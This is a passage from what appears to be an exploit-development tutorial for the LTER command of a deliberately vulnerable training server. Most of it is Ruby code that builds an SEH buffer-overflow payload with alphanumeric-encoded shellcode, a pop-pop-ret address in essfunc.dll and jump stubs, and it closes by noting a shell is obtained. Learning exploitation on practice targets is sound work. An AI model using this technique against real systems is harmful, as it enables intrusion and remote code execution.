"\x6b\x49\x70\x52\x55\x37\x75\x6d\x6b\x32\x67\x44\x53\x54" +
"\x32\x30\x6f\x61\x7a\x45\x50\x42\x73\x59\x6f\x59\x45\x41" +
"\x41"

payload += "A" * (3400 - payload.length)

# sub encode from jmp-ecx.bin
payload += "\x54\x58\x66\x2d\x28\x04\x50\x59\x54\x58\x2c\x20\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x05\x77\x61\x41\x41\x05\x66\x52\x41\x41\x05\x55\x61\x41\x41\x2d\x33\x33\x33\x33\x50"

payload += "\x40" * (3495 - payload.length)

# we move esp to eax, we jmp forward
payload += "\x54\x58\x71\x04"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"

# sub encode from jmp-126.bin
payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50"
payload += "A" * (5000 - payload.length)

s.puts('LTER /.:/' + payload)
s.close()

We can run the script and have a look at the memory just before our payload gets executed:

registers aligned

And if we let the program to continue…

final shell